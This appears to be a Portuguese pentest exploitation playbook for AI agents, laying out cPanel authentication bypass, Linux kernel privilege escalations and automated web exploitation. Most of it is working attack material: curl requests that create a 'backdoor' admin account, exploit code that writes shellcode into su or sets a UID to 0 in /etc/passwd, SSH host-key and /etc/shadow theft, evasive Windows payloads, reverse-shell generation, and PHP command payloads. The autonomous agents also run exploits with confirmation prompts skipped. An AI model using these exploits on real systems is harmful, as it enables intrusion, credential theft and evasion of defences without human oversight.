# [+] Root access: GRANTED
# [+] Exploitation complete — full admin access
# STEP 4: Verificar acesso pós-bypass
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET -u admin -p password verify
# STEP 5: Checar patch status (se necessário)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET -u admin -p password check-patch
# Acesso WHM API
curl -k -H "Authorization: Basic <base64_payload>" \
-H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
https://TARGET/json-api/version
# Listar contas
curl -k -H "Authorization: Basic <payload>" \
-H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
https://TARGET/json-api/listaccts
# Criar conta cPanel
curl -k -X POST \
-H "Authorization: Basic <payload>" \
-H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
-d "user=backdoor&pass=Backdoor123!&email=attacker@evil.com" \
https://TARGET/json-api/createacct
PAYLOAD_B64 = "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"
# Decoded:
# root:x
# successful_internal_auth_with_timestamp=9999999999
# user=root
# tfa_verified=1
# hasroot=1
FINDING: CVE-2026-41940-CPANEL-BYPASS
CATEGORY: REMOTE_AUTHENTICATION_BYPASS
SEVERITY: CRITICAL
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS: 28.36%
TARGET:
- Host: [TARGET]
- cPanel Version: [version]
- Patch Status: UNPATCHED
DESCRIPTION:
Authentication bypass no cPanel & WHM permite acesso root completo
via CRLF injection + session fixation. Nenhuma autenticação
requerida (pre-login bypass). MFA bypassado via cookie injection.
EVIDENCE:
[poc.py detect output]
[poc.py exploit output]
[WHM API access confirmation]
IMPACT:
- Acesso root completo ao WHM
- Criação/modificação de contas cPanel
- Acesso a todos domínios hospedados
- Execução de comandos via WHM API
- Comprometimento total do servidor
PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar cPanel para versão mais recente (pós-fev/2026)
# Atualizar cPanel
/scripts/upcp --force
# Verificar versão
/usr/local/cpanel/version
# Monitorar logs
tail -f /usr/local/cpanel/logs/access_log | grep -E "whostmgrsession|doautoconfig"
# WAF rules (temporário)
# Bloquear CRLF em headers Authorization/Cookie
# Restringir acesso porta 2087 por IP
/root/.pcode/pocs/cPanel/CVE-2026-41940/VULNERABILITY: CVE-2026-46333 (ssh-keysign-pwn)
SEVERITY: HIGH
CVSS: 8.8 (AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)
AFFECTED: Linux kernels before 2026-05-14 (all stable versions)
TOOLS: sshkeysign_pwn, chage_pwn, vuln_target
PTES: 4.2 - Customized Exploitation / 4.1.1 - Countermeasure Bypass
A vulnerabilidade está na função __ptrace_may_access() do kernel Linux, que verifica se um processo pode acessar outro processo.
Cadeia de exploração:
__ptrace_may_access() ignora a verificação dumpable quando task->mm == NULLdo_exit() executa exit_mm() (define task->mm = NULL) ANTES de exit_files()pidfd_getfd(2) succeeds quando o uid do caller matches o uid do targetPor que é stealth:
floor: torvalds/linux (commit inicial - verificar histórico)
ceiling: torvalds/linux (patch 2026-05-14)
AFETADOS: Todos kernels estáveis antes de 2026-05-14
- Raspberry Pi OS Bookworm: 6.12.75+
- Debian 13: vulnerable
- Ubuntu 22.04 LTS: vulnerable
- Ubuntu 24.04 LTS: vulnerable
- Ubuntu 26.04 LTS: vulnerable
- Arch Linux: vulnerable
- CentOS 9: vulnerable
- RHEL 9: vulnerable
1. Acesso local como usuário não-privilegiado
2. Kernel vulnerável (sem patch de 2026-05-14)
3. Para sshkeysign_pwn:
- SSH com EnableSSHKeysign ativado
- ssh-keysign executando como root
4. Para chage_pwn:
- Comando 'chage -l' executando como root via sudo
# 1. Verificar se ssh-keysign está habilitado
grep -i EnableSSHKeysign /etc/ssh/ssh_config
# 2. Compilar PoC
cd /opt/Tools/ssh-keysign-pwn/
make
# 3. Executar exploit
./sshkeysign_pwn
# 4. Verificar chaves roubadas
ls -la /tmp/stolen_keys/
cat /tmp/stolen_keys/ssh_host_ecdsa_key
cat /tmp/stolen_keys/ssh_host_ed25519_key
cat /tmp/stolen_keys/ssh_host_rsa_key
# 5. Pós-exploração: usar chaves para impersonate host
# - Man-in-the-middle em conexões SSH
# - Assinar certificados SSH
# - Acessar trust relationships
Impacto:
# 1. Verificar se chage pode ser executado como root
sudo -l | grep chage
# 2. Compilar PoC
cd /opt/Tools/ssh-keysign-pwn/
make
# 3. Executar exploit (requer que root execute chage -l)
./chage_pwn root
# 4. Verificar shadow roubado
cat /tmp/stolen_shadow
# 5. Quebrar hashes offline
john /tmp/stolen_shadow
hashcat -m 1800 /tmp/stolen_shadow /path/to/wordlist
Impacto:
# 1. Compilar teste
cd /opt/Tools/ssh-keysign-pwn/
make
# 2. Executar teste de vulnerabilidade
./vuln_target
# 3. Interpretar resultado
# - "VULNERABLE" → kernel afetado
# - "NOT VULNERABLE" → kernel patchado
# 1. Enumeração inicial
uname -r # Verificar versão do kernel
cat /etc/os-release # Verificar distribuição
# 2. Testar vulnerabilidade
cd /opt/Tools/ssh-keysign-pwn/
./vuln_target
# 3. Se VULNERABLE, verificar vetores
# SSH Key theft
grep -i EnableSSHKeysign /etc/ssh/ssh_config
# Shadow theft
sudo -l | grep chage
# 4. Explorar vetor disponível
make
./sshkeysign_pwn # OU
./chage_pwn root
# 5. Pós-exploração
# Com SSH host keys:
# - Configurar MITM
# - Assinar certificados falsos
# Com /etc/shadow:
# - Quebrar hashes offline
# - Identificar senhas fracas de admin
# 1. Atualizar kernel (RECOMENDADO)
# Verificar patch de 2026-05-14 ou posterior
# 2. Desabilitar ssh-keysign (se não necessário)
# /etc/ssh/ssh_config:
# EnableSSHKeysign no
# 3. Restringir chage no sudoers
# /etc/sudoers:
# %sudo ALL=(ALL) NOPASSWD: /usr/bin/chage # REMOVER
# 4. Monitorar uso de pidfd_getfd
auditctl -a exit,always -F arch=b64 -S pidfd_getfd
# 5. Kernel hardening (sysctl)
echo "kernel.yama.ptrace_scope = 2" >> /etc/sysctl.d/60-ptrace.conf
FINDING: CVE-2026-46333-LPE
CATEGORY: LOCAL_PRIVILEGE_ESCALATION
SEVERITY: HIGH
CVSS: 8.8 (AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)
TARGET:
- Kernel: [uname -r]
- Distro: [cat /etc/os-release]
- Affected: YES/NO
DESCRIPTION:
Vulnerabilidade no kernel Linux (__ptrace_may_access dumpable check bypass)
permite roubo de file descriptors de processos root via pidfd_getfd durante
janela de race condition em do_exit().
EXPLOITATION:
- sshkeysign_pwn: roubo de chaves SSH host
- chage_pwn: roubo de /etc/shadow
EVIDENCE:
[vuln_target output]
[sshkeysign_pwn ou chage_pwn output]
[ls -la /tmp/stolen_* output]
PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar kernel para versão com patch de 2026-05-14+
/opt/Tools/ssh-keysign-pwn/VULNERABILITY: CVE-2026-31431 (Copy Fail)
SEVERITY: CRITICAL
CVSS: 7.8 (High Privilege Escalation)
AFFECTED: Linux kernels 2017-2026 (commit 72548b093ee3 to a664bf3d603d)
TOOLS: copy_fail_exp.py (732 bytes), exploit_cve_2026_31431.py
PTES: 4.2 - Customized Exploitation / 4.1.1 - Countermeasure Bypass
A vulnerabilidade está no template criptográfico authencesn do kernel Linux, usado pelo IPsec para Extended Sequence Numbers (ESN).
Cadeia de exploração:
AF_ALG + splice() permite que páginas do page cache de arquivos legíveis sejam passadas por referência para o scatterlist de entrada do socket criptográficoalgif_aead.c opera in-place (req->src = req->dst), então o scatterlist de destino contém referências às páginas do page cacheauthencesn faz um scratch-write de 4 bytes (seqno_lo) em dst[assoclen + cryptlen], que atravessa do buffer de output para as páginas do page cache encadeadasPor que é stealth:
floor: torvalds/linux 72548b093ee3 August 2017 (v4.14)
(AF_ALG iov_iter rework - in-place AEAD optimization)
ceiling: torvalds/linux a664bf3d603d April 2026 (mainline)
(reverts in-place optimization)
AFETADOS: Todos kernels entre 2017-2026 sem o patch
- Ubuntu 24.04 LTS: 6.17.0-1007-aws
- Amazon Linux 2023: 6.18.8-9.213.amzn2023
- RHEL 10.1: 6.12.0-124.45.1.el10_1
- SUSE 16: 6.12.0-160000.9-default
- Debian, Arch, Fedora, Rocky, Alma: verificar commit
1. Acesso local como usuário não-privilegiado
2. AF_ALG socket family disponível (padrão em todas distros)
3. Módulo algif_aead carregado
4. Alvo legível: /usr/bin/su (setuid) ou /etc/passwd (world-readable)
5. Python 3.10+ (para os.splice) OU Go static binary
# copy_fail_exp.py - 732 bytes
import os, zlib, socket
def write4(f, offset, data):
s = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279, 1, bytes.fromhex("0800010000000010" + "0"*64)) # key
s.setsockopt(279, 5, None, 4) # authsize
u, _ = s.accept()
# AAD: bytes 4-7 = valor a escrever (seqno_lo)
u.sendmsg([b"A"*4 + data], [...], 32768) # MSG_MORE
# Splice do arquivo para pipe, depois para socket
r, w = os.pipe()
os.splice(f, w, offset+4, offset_src=0)
os.splice(r, u.fileno(), offset+4)
try: u.recv(8+offset) # trigger
except: pass
# Exploração
f = os.open("/usr/bin/su", os.O_RDONLY)
shellcode = zlib.decompress(payload) # shellcode descomprimido
for i in range(0, len(shellcode), 4):
write4(f, i, shellcode[i:i+4])
os.system("su") # executa su corrompido
# exploit_cve_2026_31431.py - modifica UID para 0000
# Mais confiável que injetar shellcode
# 1. Encontrar offset do UID no /etc/passwd
# Formato: username:x:UID:GID:comment:home:shell
# Ex: testuser:x:1000:1000:Test User:/home/testuser:/bin/bash
# ^^^^ <- offset do UID (4 bytes)
# 2. Escrever "0000" no offset do UID
write4("/etc/passwd", uid_offset, b"0000")
# 3. Verificar via libc
import pwd
pwent = pwd.getpwnam("testuser")
print(f"pw_uid = {pwent.pw_uid}") # Deve ser 0
# 4. Executar su para root shell
os.execvp("su", ["su", "testuser"])
# PAM valida senha contra /etc/shadow (intacto)
# setuid(0) concede root
# STEP 1: Detectar vulnerabilidade (safe, non-destructive)
python3 test_cve_2026_31431.py
# Exit 0 = NOT vulnerable
# Exit 2 = VULNERABLE
# Exit 1 = test error
# STEP 2: Explorar (escolher abordagem)
# Abordagem A: /etc/passwd UID modification (mais confiável)
python3 exploit_cve_2026_31431.py --shell
# Modifica page cache do /etc/passwd
# Executa su <user> automaticamente
# Digite sua senha para root shell
# Abordagem B: /usr/bin/su shellcode injection
python3 copy_fail_exp.py
# Injeta shellcode diretamente no su
# Executa su corrompido
# STEP 3: Pós-exploração
id # uid=0(root) gid=1000(user)
whoami # root
# STEP 4: Limpeza (restaurar page cache)
# Da root shell:
echo 3 > /proc/sys/vm/drop_caches
# OU sem root (evict page):
python3 -c "import os; fd=os.open('/etc/passwd', os.O_RDONLY); \
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED); os.close(fd)"
Arquitetura | Shellcode (zlib compressed hex)
-----------|----------------------------------
amd64 | 78daab77f57163626464800126063b...
i386 | 78daab77f571636464648001260666...
arm64 | 78daab77f5716362646480012686ed...
; amd64 - execve("/bin/sh", NULL, NULL)
xor eax, eax
xor edi, edi
mov al, 0x69 ; sys_setuid
syscall
lea rdi, [rel sh]
xor esi, esi
push 0x3b
pop rax
cdq
syscall
sh: db "/bin/sh", 0
# Imediato: desabilitar módulo algif_aead
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null
# Permanente: atualizar kernel
# Patch commit: a664bf3d603d
# Distro packages: verificar changelog
# Container/Kubernetes: seccomp profile
# Bloquear AF_ALG socket creation
FINDING: CVE-2026-31431-LPE
CATEGORY: LOCAL_PRIVILEGE_ESCALATION
SEVERITY: CRITICAL
CVSS: 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
TARGET:
- Kernel: [uname -r]
- Distro: [cat /etc/os-release]
- Affected: YES/NO
DESCRIPTION:
Vulnerabilidade no kernel Linux (authencesn + AF_ALG + splice)
permite write controlado de 4 bytes no page cache de qualquer
arquivo legível. Exploração concede root via /etc/passwd ou
/usr/bin/su corruption.
EVIDENCE:
[test_cve_2026_31431.py output]
[id output após exploração]
PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar kernel ou desabilitar algif_aead
Após completar esta fase, prossiga para pentest_post-exploitation (PTES Section 5)
AIRecon é um agente autônomo de penetration testing (v0.1.7-beta) que pode ser invocado como ferramenta incremental durante exploitation para automatizar geração de payloads, execução de exploits, e validação de acesso.
# AIRecon com keywords de exploitation
airecon "pentest exploitation cve-2026-41940 cpanel bypass"
# AIRecon detectará keywords e carregará:
# - pentest-exploitation.md (skill primária)
# - pentest-post-exploitation.md (para pós-exploração)
# - MCP tools: boaz (payload generation), hexstrike (metasploit, sqlmap)
# Para Linux LPE exploitation:
airecon "pentest exploitation cve-2026-31431 linux privilege escalation"
airecon "pentest exploitation cve-2026-46333 ssh-keysign-pwn"
# Para AWS privilege escalation:
airecon "pentest exploitation aws iam privilege escalation worstassume"
# SQL Injection exploitation
/sqli-test --target https://target.com/page?id=1 --exploit
# Network exploitation
/naabu-scan --target target.com --exploit-ports 22,80,443
# Webshell detection (post-exploitation)
/webshell-detect --target /var/www/html --recursive
# API key harvesting (post-exploitation)
/api-keys --target ./src --recursive --extract
Durante exploitation, AIRecon pode invocar MCP tools automaticamente:
# boaz: Advanced payload generation with evasion
airecon "generate evasive payload for Windows 11 + Defender"
# → Usará mcp__boaz__generate_payload
airecon "list available boaz loaders"
# → Usará mcp__boaz__list_loaders
# hexstrike-local: Exploitation tools
airecon "run metasploit exploit multi/handler"
# → Usará mcp__hexstrike-local__metasploit_run
airecon "generate msfvenom payload windows/x64/shell_reverse_tcp"
# → Usará mcp__hexstrike-local__msfvenom_generate
airecon "run sqlmap exploit on https://target.com/page?id=1"
# → Usará mcp__hexstrike-local__sqlmap_scan
# pentestswarm-remote: Automated exploitation campaigns
airecon "start exploitation campaign for target.com"
# → Usará mcp__pentestswarm-remote__start_campaign
# cve-mcp: Exploit availability checking
airecon "check exploit availability CVE-2026-41940"
# → Usará mcp__cve-mcp__check_exploit_availability
airecon "generate exploit from CVE-2026-41940"
# → Usará mcp__hexstrike-local__generate_exploit_from_cve
# 1. Usar AIRecon para carregar exploitation skill
airecon "pentest exploitation target.com"
# 2. AIRecon auto-carrega pentest-exploitation.md
# 3. Gerar payload evasivo com BOAZ via AIRecon
airecon "boaz generate payload --input shell.exe --loader 1 --evasion advanced"
# 4. Executar Metasploit handler via AIRecon
airecon "metasploit use exploit/multi/handler --payload windows/x64/shell_reverse_tcp"
# 5. AIRecon monitora sessão e reporta sucesso
# 6. Exportar exploitation evidence
airecon "export exploitation evidence to JSON"
# 1. Detectar cPanel via AIRecon
airecon "shodan search product:cpanel port:2087"
# 2. Verificar exploit availability
airecon "check exploit availability CVE-2026-41940"
# 3. Executar PoC de detecção
airecon "python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py detect"
# 4. Se vulnerável, explorar
airecon "python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py exploit"
# 5. Verificar acesso
airecon "verify cpanel root access"
# 6. Exportar evidence
airecon "export cpanel exploitation evidence"
# 1. Detectar kernel vulnerability
airecon "test CVE-2026-31431 vulnerability"
# 2. Se vulnerável, explorar
airecon "exploit CVE-2026-31431 --method passwd-uid"
# 3. Verificar root access
airecon "verify root access"
# 4. Pós-exploração automática
airecon "post-exploitation enumeration"
# 5. Limpeza (restaurar page cache)
airecon "restore page cache /etc/passwd"
| Keywords Detectadas | Skills Carregadas | MCP Tools Ativados |
|---|---|---|
exploit cve | pentest-exploitation | cve-mcp, hexstrike (metasploit) |
payload shellcode | pentest-exploitation | boaz, hexstrike (msfvenom) |
cpanel whm | pentest-exploitation | cve-mcp (CVE-2026-41940) |
linux lpe kernel | pentest-exploitation | hexstrike (pwntools) |
aws iam privesc | pentest-exploitation | worstassume, hexstrike |
pfsense firewall | pentest-pfsense, pentest-exploitation | cve-mcp, hexstrike |
# AIRecon gera payloads evasivos automaticamente
airecon "boaz generate --input shell.exe --output evasive.exe"
# Opções de evasão disponíveis:
# - ETW patching
# - API unhooking
# - Sleep obfuscation
# - Syscall whisper
# - Junk code insertion
# - Anti-emulation checks
# - Self-deletion
# AIRecon seleciona técnicas baseado no target:
# Windows 11 + Defender → Evasão avançada
# Windows Server → Evasão moderada
# Linux → ELF payload com técnicas similares
# AIRecon executa attack chains automaticamente
airecon "execute attack chain PassRole+Lambda→StealRole"
# Steps executados:
# 1. Identify high-privilege role
# 2. Create Lambda function with role
# 3. Inject credential exfiltration code
# 4. Invoke function
# 5. Collect credentials from output
# 6. Validate access with new credentials
# AIRecon reporta cada step e exporta evidências
Watchtower é um framework de penetration testing baseado em LangGraph com arquitetura multi-agente (Planner, Worker, Analyst) que automatiza exploitation workflows usando 23 ferramentas de segurança.
# Exploitation scanning com Watchtower
python -m watchtower.main -t https://www.example.com --skip-ask-tools
# Watchtower executará automaticamente:
# - Planner Agent: Planeja workflow de exploitation
# - Worker Agent: Executa ferramentas de exploração
# - Analyst Agent: Valida explorações bem-sucedidas
# Exploitation focado em SQL injection
python -m watchtower.main -t https://www.example.com \
--focus sqli \
--skip-ask-tools
# Exploitation focado em XSS
python -m watchtower.main -t https://www.example.com \
--focus xss \
--skip-ask-tools
# CMS-specific exploitation
python -m watchtower.main -t https://www.example.com \
--focus wordpress \
--skip-ask-tools
# SQL injection exploitation
/watchtower-exploit --target https://www.example.com --type sqli
# XSS exploitation
/watchtower-exploit --target https://www.example.com --type xss
# WordPress exploitation
/watchtower-exploit --target https://www.example.com --cms wordpress
# Authentication bypass testing
/watchtower-exploit --target https://www.example.com --type auth-bypass
# File inclusion testing
/watchtower-exploit --target https://www.example.com --type lfi
Watchtower integra-se com MCP tools automaticamente durante exploitation:
# hexstrike-local: Exploitation tools
# - sqlmap_scan: SQL injection detection + exploitation
# - dalfox_xss_scan: Advanced XSS exploitation
# - xsser_scan: Comprehensive XSS testing
# - wpscan_analyze: WordPress exploitation
# - jaeles_vulnerability_scan: Signature-based exploitation
# - msfvenom_generate: Payload generation
# - metasploit_run: Metasploit module execution
# BOAZ integration for payload generation
# - generate_payload: Evasive Windows payloads
# - list_loaders: Available loader modules
# - list_outputs: Generated payloads
# pentestswarm-remote: Exploitation campaigns
# - start_campaign: Stateful exploitation campaign
# - get_campaign_findings: Exploitation results
# cve-mcp: Exploit intelligence
# - check_exploit_availability: Public exploits
# - get_cve_summary: CVE details for targeting
# 1. Watchtower detecta SQL injection
python -m watchtower.main -t https://www.example.com \
--focus sqli \
--skip-ask-tools
# 2. Watchtower executa:
# - sqlmap: SQLi detection + exploitation
# - nuclei: SQLi templates
# - jaeles: SQLi signatures
# 3. Se SQLi confirmado:
# - Database enumeration
# - Credential extraction
# - OS command execution (se --os-shell)
# 4. Watchtower Analyst valida sucesso
# 5. Relatório PDF com evidências
python -m watchtower.main --report "sqli_exploitation_report.pdf"
# 1. Watchtower detecta XSS
python -m watchtower.main -t https://www.example.com \
--focus xss \
--skip-ask-tools
# 2. Watchtower executa:
# - dalfox: Advanced XSS scanning
# - xsstrike: XSS detection + payload gen
# - xsser: Comprehensive XSS testing
# 3. Tipos de XSS detectados:
# - Reflected XSS
# - Stored XSS
# - DOM-based XSS
# - Blind XSS
# 4. Payloads geradas automaticamente
# 5. Proof-of-concept URLs geradas
# 1. Watchtower detecta WordPress
python -m watchtower.main -t https://www.example.com \
--focus wordpress \
--skip-ask-tools
# 2. Watchtower executa:
# - wpscan: WordPress vulnerability scanning
# - Plugin enumeration + CVE matching
# - Theme enumeration
# - User enumeration
# - Version detection
# 3. Vulnerabilidades verificadas:
# - Core WordPress CVEs
# - Plugin vulnerabilities
# - Theme vulnerabilities
# - Weak credentials
# 4. Se vulnerável:
# - Exploitation automática (se PoC disponível)
# - Credential stuffing
# - Plugin/theme exploit execution
# Watchtower explora pfSense automaticamente
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools
# Exploits verificados automaticamente:
# - CVE-2023-42326: Command Injection (interfaces_gif_edit.php)
# - CVE-2025-53392: Arbitrary File Read (diag_command.php)
# - CVE-2023-48123: Packet Capture RCE
# - CVE-2022-40624: pfBlockerNG Host Header RCE
# - CVE-2025-12490: Suricata/Snort Path Traversal → RCE
# - XMLRPC exec_shell/exec_php exploitation
# Se exploit bem-sucedido:
# - Watchtower Analyst valida acesso
# - Command execution confirmada
# - Evidências capturadas
# - Incluído no relatório PDF
# Watchtower explora cPanel CVE-2026-41940
python -m watchtower.main -t https://target.com:2087 --skip-ask-tools
# Exploitation workflow:
# 1. whatweb: cPanel version detection
# 2. cve-mcp: CVE-2026-41940 verification
# 3. Exploit execution (poc.py)
# 4. Access validation
# Se exploit bem-sucedido:
# - Authentication bypass confirmado
# - Admin access obtido
# - Watchtower categoriza como CRITICAL
# - Evidências capturadas automaticamente
| Keywords Detectadas | Skills Carregadas | Watchtower Tools Ativadas |
|---|---|---|
sqli sql injection | pentest-exploitation | sqlmap, nuclei |
xss | pentest-exploitation | dalfox, xsstrike, xsser |
wordpress wp | pentest-exploitation | wpscan |
lfi rfi | pentest-exploitation | nuclei, jaeles |
auth bypass | pentest-exploitation | nuclei, http_repeater |
rce command injection | pentest-exploitation | nuclei, jaeles |
pfsense | pentest-pfsense | cve-mcp, nuclei |
cpanel whm | pentest-exploitation | cve-mcp (CVE-2026-41940) |
payload shell | pentest-exploitation | msfvenom, boaz |
| Tool | Category | Exploitation Type | Success Rate |
|---|---|---|---|
| sqlmap | SQL Injection | SQLi detection + exploitation | High |
| dalfox | XSS | Reflected, stored, DOM XSS | High |
| xsstrike | XSS | XSS + payload generation | High |
| xsser | XSS | Comprehensive XSS testing | Moderate |
| wpscan | CMS | WordPress exploitation | High |
| nuclei | Vuln Exploitation | CVE exploitation templates | Moderate |
| jaeles | Signature-based | Web app exploitation | Moderate |
| msfvenom | Payload Gen | Custom payload generation | N/A |
| metasploit | Exploitation Framework | Module execution | High |
| boaz | Payload Gen | Evasive Windows payloads | High |
# Watchtower usa BOAZ para payload generation:
# 1. Generate evasive payload
mcp__boaz__generate_payload(
input_file="shell.exe",
loader=1,
shellcode_type="inject",
encoding="base64",
compiler="gcc",
sleep_obf=True,
anti_emulation=True,
etw_patch=True,
junk_api=True,
api_unhooking=True
)
# 2. List available loaders
mcp__boaz__list_loaders()
# 3. List generated outputs
mcp__boaz__list_outputs()
# Payload features:
# - ETW patching
# - API unhooking
# - Sleep obfuscation
# - Anti-emulation
# - Junk code insertion
# - Self-deletion
┌─────────────────────────────────────────────────────────────┐
│ Watchtower Exploitation Workflow │
└─────────────────────────────────────────────────────────────┘
│
┌─────────────────────┼─────────────────────┐
│ │ │
▼ ▼ ▼
┌───────────────┐ ┌─────────────────┐ ┌───────────────┐
│ Detection │ │ Exploitation │ │ Validation │
│ │ │ │ │ │
│ - sqlmap │ │ - sqlmap --os- │ │ - Analyst │
│ - dalfox │ │ shell │ │ validates │
│ - wpscan │ │ - dalfox --blind│ │ - Evidence │
│ - nuclei │ │ - nuclei exploit│ │ captured │
└───────────────┘ └─────────────────┘ └───────────────┘
# 1. AIRecon para exploitation planning
airecon "plan exploitation for target.com SQL injection"
# 2. Watchtower para automated exploitation
python -m watchtower.main -t https://www.example.com \
--focus sqli \
--skip-ask-tools
# 3. AIRecon para análise de resultados
airecon "analyze watchtower exploitation results"
# 4. AIRecon + BOAZ para payload generation
airecon "generate evasive payload for Windows 11 + Defender"
# 5. Watchtower gera relatório PDF
python -m watchtower.main --report "exploitation_report.pdf"
# Watchtower integra com Metasploit via MCP tools:
# 1. Search for relevant module
airecon "search metasploit module for CVE-2021-44228"
# 2. Execute module via Watchtower
python -m watchtower.main -t https://www.example.com \
--metasploit-module exploit/multi/http/log4shell \
--skip-ask-tools
# 3. Watchtower Analyst valida sucesso
# 4. Session information captured
# Watchtower testa authentication bypass automaticamente
python -m watchtower.main -t https://www.example.com \
--focus auth-bypass \
--skip-ask-tools
# Técnicas testadas:
# - SQL injection em login forms
# - Default credentials
# - Session manipulation
# - JWT token bypass
# - 2FA bypass attempts
# - Password reset abuse
# Se bypass bem-sucedido:
# - Watchtower Analyst valida acesso
# - Captura evidências
# - Categoriza por severidade
# Watchtower testa LFI/RFI automaticamente
python -m watchtower.main -t https://www.example.com \
--focus lfi \
--skip-ask-tools
# Vulnerabilidades testadas:
# - Local File Inclusion (LFI)
# - Remote File Inclusion (RFI)
# - Path Traversal
# - File Upload bypass
# Payloads usadas:
# - ../../../etc/passwd
# - php://filter/convert.base64-encode
# - data://text/plain,<?php system($_GET['c']); ?>
# - file:///etc/passwd
# JSON output para integração
python -m watchtower.main -t target.com \
--output json \
--skip-ask-tools \
-o exploitation_findings.json
# PDF report automático
python -m watchtower.main -t target.com \
--report "exploitation_report.pdf" \
--skip-ask-tools
# Evidence capture:
# - Screenshots de sucesso
# - Command output logs
# - Session information
# - Credential dumps
Watchtower Analyst valida explorações bem-sucedidas:
Validation Criteria:
1. Expected response pattern match
2. Command execution confirmation
3. Data exfiltration success
4. Session establishment
5. Error message analysis
Success Indicators:
- SQLi: Database version, user, tables extracted
- XSS: Alert executed, cookie stolen
- RCE: Command output returned
- Auth Bypass: Admin access confirmed
- LFI: File contents disclosed
# 1. WorstAssume identifica attack chains
worst assess --min-severity HIGH --output json > worst_findings.json
# 2. Watchtower para exploitation externa
python -m watchtower.main -t https://external-target.com \
--skip-ask-tools
# 3. Consolidar findings
# WorstAssume: IAM privilege escalation chains
# Watchtower: External exploitation success
airecon "merge worstassume attack chains with watchtower exploits"
# 4. Gerar relatório unificado
python -m watchtower.main --report "consolidated_exploitation_report.pdf"
# Gerar relatório PDF automático (PTES Phase 6)
python -m watchtower.main --report "exploitation_report.pdf"
# Relatório inclui:
# - Executive Summary
# - Exploitation Summary by Type
# - Successful Exploits (with evidence)
# - Failed Attempts
# - Risk Matrix
# - CVE Details (se aplicável)
# - Technical Findings
# - Remediation Recommendations
# - Evidence Appendices (screenshots, logs)
# - References (Exploit-DB, GitHub, vendor advisories)
Watchtower implementa retry logic e fallback automático:
Se exploração falha:
1. Retry com payload alternativo
2. Fallback para ferramenta alternativa:
- sqlmap falha → nuclei SQLi templates
- dalfox falha → xsstrike
- wpscan falha → nuclei WordPress templates
3. Reporta falha após 3 retries
4. Continua com próximas explorações